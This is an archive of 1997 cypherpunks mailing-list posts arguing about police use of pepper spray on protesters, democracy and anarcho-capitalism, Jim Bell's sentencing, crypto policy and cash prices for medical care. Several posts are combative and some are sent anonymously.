Subject: Ms. Roby Ridge of 1997 Crowned several times...
In-Reply-To: <199710310933.LAA11099@ankara.duzen.com.tr>
Message-ID: <3459A08E.77D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



lurker@ottoman.net wrote:

> ROBY, Illinois (CNN) -- Shirley A. Allen, a mentally disturbed woman
> who held police off for 39 days with a shotgun and entertained herself
> by listening to public radio, was captured Thursday and taken to a
> hospital.
...
> Others questioned the expense of the standoff.
> Gainer tackled that one  head-on at a news conference Thursday, saying
> it was about $15,000 a day.   He estimated the total cost
> of the operation at $750,000 to $1 million.
...
> "...said John Powers, a neighbor and one of the
> protesters. "We don't know if they'll treat her as a
> person who is sane or as a person who tried to shoot
> their dog."

  What are the chances of her being found 'sane' if it might
result in a multi-million dollar lawsuit against the same
government who assaulted her out of Choatian expediency instead
of investing some 'quality time' in sharing a few cups of
coffee with her in order to avert such a ludicrous scenarios?

  My guess is that whoever is chosen to declare her 'batty' has
a bright, successful career ahead of them.
(But I would love to be pleasantly surprised.)

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 11:05:08 +0800
To: cypherpunks@Algebra.COM
Subject: North CA cops skip preliminaries, get straight to torture
Message-ID: <199710310259.DAA12926@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




#Subject: North CA cops skip preliminaries, get straight to torture

CBS news tonight showed cops in a northern CA town use swabs to apply
"pepper spray" directly to the eyes of demonstrators in some Congressman's
office. One cop administered headlocks, another pried eyelids open and a
third administered discipline.

That's the ticket. Skip the judge and jury, just let the
cops torture the perps.  Why stop at pepper spray?  Why not bamboo shoots?
Electric shocks to the genitals?  We must have order.

Glad none of those human-rights protestors in DC will care.  And none of
those left-wing-commie-pinko llllliberals. And none of those right-wing
Christians.

FedUpMonger









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Fri, 31 Oct 1997 12:29:28 +0800
To: cypherpunks@toad.com
Subject: Cypherspeak
Message-ID: <F+fS6Na9tbQmknrXq9bwDA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Canadian Nutly News wrote:

> Canadian Nutly News reportwhore
                            ^^^^^

The answer to InfoWar is more InfoWhore!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Fri, 31 Oct 1997 20:57:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT
Message-ID: <878300037.16771.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
>If we as individuals can't make our own decisions about what is best for us,
>what makes you think some stranger will do any better?

Indeed. Yet in a democracy, any two other members are assumed to know
better than me, and any 51% to know better than the other 49%.

>Every form of government other than democracy assumes a
>priori that noble oblige is prima facia. To paraphrase an old questions of
>politics, who governs the governors? Or do you feel we have found angels in
>the form of kings?

Democracy is merely the scoundrel's last attempt to maintain the divine
right of kings by coverting it into the divine right of the elected. 

>Which means we should have the lowest number of incarcerated individuals
>instead of the most.

Indeed, thereby proving that democracy *doesn't* work.

>Doesn't work what way?

Midnight raids, anti-drug laws, all the examples you just gave of the
evils of democracy, etc, etc.

>Consider, other than democracy, that every form of
>government has an implicit assumption that there is some base sets of
>activities that citizens should be permitted and they will be happy.

Someone (Churchill?) once said that democracy is the best form of
goverment. Amusingly he considered this a defence of democracy, not
a damning indictment of the entire concept of government.

>In a
>democracy the people are given the opportunity to make up their mind what to
>do with their lives and property without having to obtain permission from
>some authority.

Medical licensing, drivers licenses, pilots licenses, export restrictions,
gun licenses (in various democracies), concealed weapons permits... do I
have to go on? This doesn't seem to bear any resemblance to the reality
of democracy.

>Paying a government to keep the park clean and mowed and the lights on at
>night or my streets well paved and de-iced in winter 

And a government does this better than a private corporation because?

>is not quite the same
>thing as having black-suited ninja wann-be's kicking my door in at 2AM
>because I choose to smoke a joint or even grow my own weed; 

Again, this is a clear example of the failure of democracy. A big
difference between democracy and anarcho-capitalism[1] is that in
an anarcho-capitalist society the cops will be too busy making money
to launch such raids on their customers, and most customers will be
too self-interested to pay cops to raid their neighbors.

>There is a reason behind the madness of "Congress shall make no law...".

Indeed; such a shame they put all those other words into the 
Constitution. That phrase sounds like a pretty good conception
of government to me.

    Mark

[1] See, for example, 'The Machinery of Freedom', by David Friedman: 
excerpts on the Web at http://www.best.com/~ddfr/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 12:22:53 +0800
To: cypherpunks@toad.com
Subject: Re: North CA cops skip preliminaries, get straight to torture
Message-ID: <199710310414.FAA21232@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 7:59 PM -0700 10/30/97, Anonymous wrote:
> >#Subject: North CA cops skip preliminaries, get straight to torture
> >
> >CBS news tonight showed cops in a northern CA town use swabs to apply
> >"pepper spray" directly to the eyes of demonstrators in some Congressman's
> >office. One cop administered headlocks, another pried eyelids open and a
> >third administered discipline.
> >
> >That's the ticket. Skip the judge and jury, just let the
> >cops torture the perps.  Why stop at pepper spray?  Why not bamboo shoots?
> >Electric shocks to the genitals?  We must have order.

> On the other hand, the perps were trespaassers in private offices. Me, I
> would've been inclined to fire up my Stihl and separate their little fairy
> circle at their wrists.

  The manufacturer of the pepper spray used warns that it should be
used from a minimum of three feet away, as closer use will result
in tissue damage.
  Videos show the police spraying it directly in the non-violent
demonstrators eyes from inches away.
  Naturally, even if they shot the non-violent demonstrators in
the eye from inches away, with their guns, they would be provided
with a taxpayer-supported legal team to claim that the officers 
were in fear for their lives from seated, handcuffed, unarmed,
non-violent demonstrators.

  If I trespass on Tim's property, I would fully expect him to
deal with me in a manner consistent with his declared intentions.
I would expect the same from those who claim to be bound by the
same rule of law that they _force_ on the citizens.
  This non-violent demonstrators were willing to accept the agreed
upon punishment/cost of their actions in protest of the actions
of their public servants. Their public servants, as usual, chose
to to act in the manner of savages who are incapable of holding
to the rule of law which they use to justify their confiscation
of the citizen's right to bear arms in the face of tyranny.

  Twenty years or so ago, after seeing pictures of mothers and
children in chains at a Livermore Labs protest, I wrote a song
called "Don't Blame Me, I Voted For The Monkey."
  If more people had followed my example, we would be singing 
the praises of government, as Bozo sits in the Oval Office
typing new legislation which would likely be far superior to
anything we have seen in the last twenty years.
  "Time flies like an arrow...fruit flies like a banana."

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 31 Oct 1997 18:27:47 +0800
To: cypherpunks@toad.com
Subject: Re: What Will Revolution Look Like?
Message-ID: <1.5.4.32.19971031102712.00c3d2dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Preindicators to revolution and anti-revolution in US:

World's highest disparity between poor and rich population.

World's highest military expenditures.

World's highest justice expenditures.

World's largest percentage of population in prison.

World's largets percentage of population in law enforcement.

World's largest percentage of work force as private guards.

World's largest number of guns in private hands.

World's largest number of guns in law enforcement hands.

World's greatest number of lawyers.

World's greatest number of laws.

World's greatest number of lawbreakers.

World's highest violent crime rate.

World's highest "postals."

World's highest homicide rate against family members.

World's highest homicide rate against authority members.

World's greatest percentage of unwed mothers (and absent fathers).

World's greatest percentage of men who do not pay child support.

World's highest divorce rate.

World's highest multiple marriage rate.

World's largest number of institutionalized children.

World's largest number of psychiatric patients.

World's largest number of legal drugs consumers.

World's largest number of illegal drugs consumers.

World's largest number of protestors.

World's largest number of anti-protestors.

World's largest percentage of unresponsive population.

World's largest percentage of blind faith population.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Fri, 31 Oct 1997 21:38:42 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell sentencing delayed
In-Reply-To: <1.5.4.32.19971031120116.00c62d58@pop.pipeline.com>
Message-ID: <19971031052741.36421@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Oct 31, 1997 at 07:01:16AM -0500, John Young wrote:
> Greg,
> 
> What's your take on repeated delay in Jim's sentencing:
> 
> 1. A squeeze on Jim to finger co-conspirators.
> 
> 2. Weak case, must use procedure to punish.
> 
> 3. To let time served be the sentence.
> 
> 4. Jim was up to something worse now being discovered
> (like 5 below).
> 
> 5. Jim is a secret gov agent, now feet up in Tacoma IRS 
> laughing at those who fell for suckerbait, screwball AP 
> written by IRS as a sting (a recent book package to Jim was 
> returned marked "Not in Jail").
> 
> 6. The court was hoodwinked by IRS, too, and the AUSA
> is preparing an indictment of the stingers and federal defenders
> and who knows who else that was in on it.
> 
> 7. Secret Agent Jim is squealing on his double-crossing
> secret agents, cutting a deal with whoever else is double-
> crossing whomever. He's going down, they're going down,
> we're going down, the whole country's going down; Up the
> Revolution!

 8. Jim is in a hospital somewhere.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 31 Oct 1997 18:41:14 +0800
To: cypherpunks@toad.com
Subject: Ashcroft on Crypto TV
Message-ID: <1.5.4.32.19971031103720.00c641a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



News report:

This weekend, Washington Watch, Court TVs public affairs program 
covering legal and judicial policy in the nations capital, will feature a 
discussion with Senator John Ashcroft (R-MO). The senator will 
discuss encryption, intellectual property on the internet, and his 
opposition to the nomination of Margaret Morrow, a Los Angeles 
business lawyer and former state bar association president selected 
by President Clinton for a federal judgeship. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 13:11:31 +0800
To: cypherpunks@toad.com
Subject: Re: North CA cops skip preliminaries, get straight to torture
Message-ID: <199710310504.GAA26761@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>   The manufacturer of the pepper spray used warns that it should be
> used from a minimum of three feet away, as closer use will result
> in tissue damage.

http://www.tscm.com/mace.html

On the third page of Brisbane's Courier Mail yesterday, "Policeman Accused
of Assaulting Rape Witness Promoted." 

::Boots

"Any weapon must be kept concealed until the exact moment of its use"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 31 Oct 1997 19:16:12 +0800
To: cypherpunks@toad.com
Subject: Crypto Biz
Message-ID: <1.5.4.32.19971031110817.00c6180c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Rep. Solomon hits SAFE and biz; BXA hits FBI and biz:

   http://jya.com/cn103197.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 31 Oct 1997 19:33:57 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <199710291412.GAA29666@sirius.infonex.com>
Message-ID: <3.0.2.32.19971031062509.03c35890@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:24 AM 10/29/97 -0700, Tim May wrote:

>And of course in Mexico and other "backward" places, where such
>reimbursement f office visits is considerably different, so-called
>prescription drugs are available at nearly all corner pharmacies. Lots of
>Americans make the drive from San Diego to Tijuana to buy prescription
>drugs either too expensive (those doctors visits) or unavailable in the
>U.S. And the Customs department at the border has pretty much given up on
>stopping people from carrying personal-use quantities. (The gay lobby
>exerted a lot of influence on this, as gays travel to Tijuana to pick up
>medicines they think are effective, whether approved in the U.S. for gay
>cancers or not.)
>

This can be done by mail as well.  See:  "How to Buy Almost Any Drug Legally 
Without a
Prescription" by James Johnson.

DCF
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=ZfZQ
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 31 Oct 1997 19:57:42 +0800
To: cypherpunks@toad.com
Subject: The reason we need to give up our rights...
Message-ID: <2d531f1a3bd67fb025b10fe779f2bd10@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



We are told that we must give up our right to privacy in order for the
government to protect us from the horrors of child molesters, et al.

Recently, a Canadian man was charged with 572 instances of having
individual and group sex with pre-teenage boys. He was sentenced to
a 'duece-less' (two years less a day), which is 'soft time' in Canada,
and is served in a provincial jail instead of a federal institution.

We are expected to give up our right to privacy so that the sores on
our children's bums can be healed just in time for this guy to get out
and have another go at them?
Would it be ridiculous to suggest that the government *needs* this man
back out on the streets in 16 months (if he does 'good time') because 
there is a shortage of child molesters to hold over our heads for their
next attack on our rights and liberties?

Hell, give Tim McVeigh a pardon, and then use it for an excuse to make
use of compost in the commission of a crime a felony.

Personal not to FedUpMonger:
I'm just OldAndTiredMonger. I don't need this shit anymore.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 31 Oct 1997 20:42:37 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <7433f6e11aa46cf7b903a8251c3e35b5@squirrel>
Message-ID: <3.0.2.32.19971031064814.03c38e18@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:33 AM 10/30/97 -0700, Tim May wrote:

>Listed prices are the "sucker rates," kind of like the posted prices for
>out-of-towners, with locals getting a discount. And these pricing
>differences apply to the whole range of procedures. For example, an
>insurance company might have negotiated--over many years of intense
>negotiations--a fee of $100,000 for a liver transplant, but a "cash-paying
>customer" (a victim, a mark, a sucker) would pay the list price, e.g.,
>$300,000.
>
>Could I negotiate a lower room rate, and lower fees for a spectrum of
>possibly needed treatments? Probably. I haven't had to try, fortunately.
>(Nor am I knowledgeable about procedures. Nor am I patient negotiator, no
>pun intended.)

You can negotiate in advance.  Many doctors will cut their rates for surgery 
if you tell them you are uninsured.  We actually called around to a number of 
hospitals recently to see if they would discount a birth for cash up front 
and we were able to find hospitals willing to cut their rates.  A 50% cut 
seems the standard range.

>Just noting that cash is not always king. Especially to any medium-sized or
>larger hospital, where filling out the forms correctly is more important
>than getting paid in cash. (My dentist's receptionist is befuddled by my
>paying in cash. She clearly prefers to just enter the number of an
>insurance company.)

The magic words are "Hill-Burton Act."  Most hospitals have accepted Hill-
Burton Act funding and are required to admit people with or without 
insurance.  Some resist of course.  

>I have so far elected to self-insure, i.e., to just pay any medical bills I
>might have out of pocket. However, given this "sucker rate" and the
>increasing unwillingness of hospitals to take patients not in health care
>or insurance programs, I may have little choice but to sign up.

Me too.  In 20 years, however, you and I will be drafted into Medicare 
(against our wills) unless the system is substantially modified by then (the 
most likely outcome).

DCF
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=KE8a
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 31 Oct 1997 20:46:13 +0800
To: Dave Emery <tcmay@got.net>
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <v03102809b07e63edadc1@[207.167.93.63]>
Message-ID: <3.0.2.32.19971031065319.03c39b24@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:11 PM 10/30/97 -0500, Dave Emery wrote:
>On Thu, Oct 30, 1997 at 09:33:52AM -0700, Tim May wrote:
>
>> Turns out that Blue Cross and Blue Shield have negotiated, through 
enormous
>> buying power, daily rates of about $700 a day. (These numbers come from my
>> memory of a "60 Minutes" report a few years ago. Details and current
>> figures may vary.)
>> 
>	My wife is a pathologist, and she tells me that some of the more
>aggressive HMOs get away with paying 15-20% of the posted "official" prices
>for procedures and tests.    The difference between what insurance
>organizations pay and the nominal price is usually 2 to 3 to 1 for most
>things these days.   And for many years Medicare has set defined prices
>for medical reimbursement that less than the gold plated bill amount
>as well.

The WSJ had an article about a guy who found out that his HMO had negotiated 
a payment rate which was less than his *copay* on the procedure so the 
insurance company paid nothing for his hospitalization at all.

DCF
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=qFrU
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 31 Oct 1997 21:03:50 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199710311256.GAA24440@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




Forwarded message:

> Date: Fri, 31 Oct 1997 04:13:59 -0800 (PST)
> From: mark@unicorn.com
> Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT

> Jim Choate wrote:
> >If we as individuals can't make our own decisions about what is best for us,
> >what makes you think some stranger will do any better?
> 
> Indeed. Yet in a democracy, any two other members are assumed to know
> better than me, and any 51% to know better than the other 49%.

No, it doesn't - your definition of democracy is a simplistic if not
childish view intended to cast democracy in the worst possible light
imaginable. What you describe is a democracy which has no bill of rights or
explicit limitations on the issues that the democratic body can vote on.
Obviously there is nothing in the definition of a democracy that prevents
those founding the democracy from stating:

"Congress shall make no law respecting ..."

or 

"The rights of the people to .... shall not be infringed."

Grow up.

> Indeed, thereby proving that democracy *doesn't* work.

You've proved nothing except your a priori dislike for democracy because you
want to convince others you are an angel.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 31 Oct 1997 21:02:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199710311257.GAA24473@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 31 Oct 1997 12:35:38 +0000
> From: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
> Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT

> Mark wrote:
> > 
> > Jim Choate wrote:
> 
> > Indeed. Yet in a democracy, any two other members are assumed to know
> > better than me, and any 51% to know better than the other 49%.
> > 
> > Democracy is merely the scoundrel's last attempt to maintain the divine
> > right of kings by coverting it into the divine right of the elected. 
> > 
> > >Which means we should have the lowest number of incarcerated individuals
> > >instead of the most.

I didn't write any of this. Please be more careful with your quotes.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Fri, 31 Oct 1997 15:17:28 +0800
To: cypherpunks@toad.com
Subject: Re: Self-proclamed judge and jury.
Message-ID: <rabFNGWcSM6XJxkKWPP2IQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:
>   I am a cynical, pessimistic person with low self-esteem, who is able
> to egoistically consider himself 'superior to the sheeple' only by
> virtue of the fact that their repetitive echoing of whatever the media
> 'bleats' in their direction places them in the animal/vegetable/mineral
> kingdoms which I believe I have risen ever so slightly above in my
> quest for consciousness.

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 31 Oct 1997 21:02:54 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199710311300.HAA24571@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 31 Oct 1997 10:28:52 +0100 (MET)
> To: Jim Choate <ravage@ssz.com>
> Subject: Re: Terrorism is a NON-THREAT (fwd)

> > It doesn't make it right whether it is the Khmer Rhouge, SOG, Shinning Path,
> > The SLA, CIA in Laos or Columbia, Ruby Ridge, KAL 007, TWA 800, IRA, SDS,
> > Black Panthers, or some old lady in Ill. who wants to committ suicide.
> 
> Suicide is hardly a terrorist action.

[Names withheld to protect the terminaly stupid]

It isn't the act your moron, sorry; more-off, it's the reason.

Pay attention and quit napping, this isn't television. There are no
commercials.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 31 Oct 1997 20:05:21 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Jim Bell sentencing delayed
Message-ID: <1.5.4.32.19971031120116.00c62d58@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Greg,

What's your take on repeated delay in Jim's sentencing:

1. A squeeze on Jim to finger co-conspirators.

2. Weak case, must use procedure to punish.

3. To let time served be the sentence.

4. Jim was up to something worse now being discovered
(like 5 below).

5. Jim is a secret gov agent, now feet up in Tacoma IRS 
laughing at those who fell for suckerbait, screwball AP 
written by IRS as a sting (a recent book package to Jim was 
returned marked "Not in Jail").

6. The court was hoodwinked by IRS, too, and the AUSA
is preparing an indictment of the stingers and federal defenders
and who knows who else that was in on it.

7. Secret Agent Jim is squealing on his double-crossing
secret agents, cutting a deal with whoever else is double-
crossing whomever. He's going down, they're going down,
we're going down, the whole country's going down; Up the
Revolution!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 31 Oct 1997 20:48:41 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: What Will Revolution Look Like?
In-Reply-To: <1.5.4.32.19971031102712.00c3d2dc@pop.pipeline.com>
Message-ID: <3.0.2.32.19971031070254.03c39b24@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:27 AM 10/31/97 -0500, John Young wrote:
>Preindicators to revolution and anti-revolution in US:
>
>World's highest disparity between poor and rich population.

You mean "in OECD countries other than Turkey" rather than in the "world", 
right?

>World's largest percentage of population in prison.

You mean "in OECD countries other than Turkey" rather than in the "world", 
right?

>World's largets percentage of population in law enforcement.

North Korea?

>World's greatest number of laws.

More laws lots of places (per capita, of course).

>World's highest violent crime rate.

You mean "in OECD countries other than Turkey" rather than in the "world", 
right?

>World's highest homicide rate against family members.

You mean "in OECD countries other than Turkey" rather than in the "world", 
right?

>World's highest homicide rate against authority members.

You mean "in OECD countries other than Turkey" rather than in the "world", 
right?

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=OhKs
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 31 Oct 1997 21:05:54 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)) (fwd)
Message-ID: <199710311303.HAA24618@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 31 Oct 1997 02:57:51 -0600
> From: TruthMonger <tm@dev.null>
> Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)) (fwd)

> Jim Choate wrote:
> 
> > Juries are supposed to be composed of your peers, not who the prosecution or
> > defence believe will best support their case. It should be that the first 12
> > poeple called who don't have a valid excuse to be excused are the jury, the
> > next 12 are the back-ups.
> 
>   You're way off base here, Jim. As a matter of fact, the government
> goes to extraordinary lengths to make certain that we get a jury of
> our peers.

No, I just hit a home run. The fact is that if the defendant is facing a
charge that can result in the death penalty *NO* juror will sit on that jury
who will a priori eliminate the death penalty as a potential verdict.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 14:27:41 +0800
To: cypherpunks@toad.com
Subject: Thanks to AnonyMace, we know: / Re: North CA cops skip preliminaries, get straight to torture
Message-ID: <199710310616.HAA05016@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Boots wrote:
> Anonymous wrote:
> >   The manufacturer of the pepper spray used warns that it should be
> > used from a minimum of three feet away, as closer use will result
> > in tissue damage.
> 
> http://www.tscm.com/mace.html

Chemical Mace(r),
A trademark for a mixture of organic chemicals used in aerosol form as a
weapon
to disable with intense burning pain, blepharospasm, acute bronchitis,
and
respiratory irritation.
                   -- "American Heritage Dictionary", 1991

  i.e. - The police in Humboldt county used 'weapons' against peaceful
passive-resisters.

Mace is an aerosol weapon (tear gas) that is used to disable violent
attackers.

  i.e. - ibid.

What Is Mace Made Of? (Formulations)
     CN (Original Mace) 
     CS 
     CN/OC Blend 
     CS/OC Blend 
     OC 5.5% 
     OC 10% 
     OC Foam 
CN -- Chloracetophenone (Lacrimator Agent)
     Relatively toxic
     Fast Acting (Upper Respiratory Tract, Lachrymatory, Eyes) 
     Irritating to the Skin (burning and itching sensation) 
CS -- Orthochlorbenzalmalononitrle (Lacrimator Agent)
Extreme burning of the eyes, and flowing tears 
     Stinging sensation on all moist skin 
     Tightness in the chest and throat (Lung and Bronchial Irritant) 
OC -- Oleoresin of Capsicum (Inflammation Agent)
     Severe involuntary closing of the eyes/Spasms of Eyelids 
     Severe burning of the eyes, and flowing tears 
     Intense pain on all exposed all skin 

  i.e. - The police *sentenced* unconvicted citizens to receive
the *punishment* of *severe* burning and *intense* pain by use
of *chemical warfare*.

How Does It Work?
CN and CS are both irritants and lacrimator agents...if it gets 
into the respiratory tract is causes severe coughing and choking. 
                                     ^^^^^^
For CN and CS to work effectively the person being sprayed must 
be able to feel pain
                ^^^^
OC on the other hand is a inflammation agent...it causes...the 
entire respiratory system to seize up and go into spasms.

  i.e. - Severe Pain and Spasms == Punishment

Legalities
Any time you use Mace (or any kind of weapon) be prepared to 
defend yourself in civil or criminal court.
Spraying someone with Mace is (by legal definition) an assault, 
                               ^^^^^^^^^^^^^^^^^^^     ^^^^^^^
and you must be legally justified to spray someone.

You can easily go to jail or get sued for misusing a defensive 
^^^^^^^^^^^^^^^^^^^^^^^^^             ^^^^^^^^^^^^  *^^^^^^^^^*    
spray or any level of physical force.

  i.e. - If you are a *citizen-unit*.

Keep in mind that the use of any kind of defensive weapon could 
result in death. 

  i.e. - Do the police give a fat rat's ass if they kill the
      citizens by using *chemical warfare* when it is not
      necessary, except to perhaps 'teach someone a lesson'
      by sentencing them to be punished before trial? No.

When to Use - Use of Force Ladder
     Confrontational Avoidance 
     Physical Presence 
     Key Verbal Skills 
     Body Language - Assault is Imminent/Possible 
     Defensive Tactics/Martial Arts/C&R/Open Hand 
     Chemical Weapons 
     Impact Weapons 
     Edged Weapons 
     Firearms 
  
  i.e. - The word "defensive" is used, time and time again in this
      evaluation of the proper use of mace. The words *punishment*
      and *expediency* are, not surpsingly, absent from this 
      discourse.

[If you follow the links to the government material on the use of 
 these deadly chemical weapons, you will find constant references
 to "restraint" of "aggressive" individuals, and as an "alternative"
 to "physical violence."]

About the author:  [BTW, he's is trained in "Cryptanalysis"]

James M. Atkinson, is an internationally recognized leader and trainer
in the field
of Technical Surveillance Counter Measures (TSCM), Signals Intelligence
(SIGINT), Electronic Surveillance Technology, Telecommunications,
Intelligence
Acquisition and Analysis, Covert and Tactical Operations,
Counterintelligence,
Computer and Communications Systems, High Speed Photonic Networking,
High
Security Locksmithing, Electronic Counterterrorism, Explosives
Detection,
Chemical Weapons, Security Evaluation, and Consulting.

Mr. Atkinson has been trained by the U.S. Government in Intelligence,
Covert
Operations, Technical Surveillance, and Cryptanalysis. He is a graduate
of the
Defense Intelligence School and has extensive field experience in
military, technical
intelligence, and covert operations. He is a veteran with eight years of
active duty
military service, followed by two years of employment with a U.S.
intelligence
agency, and holds a Top Secret security clearance.

He has completed advanced tactical training, and has been certified as
both an
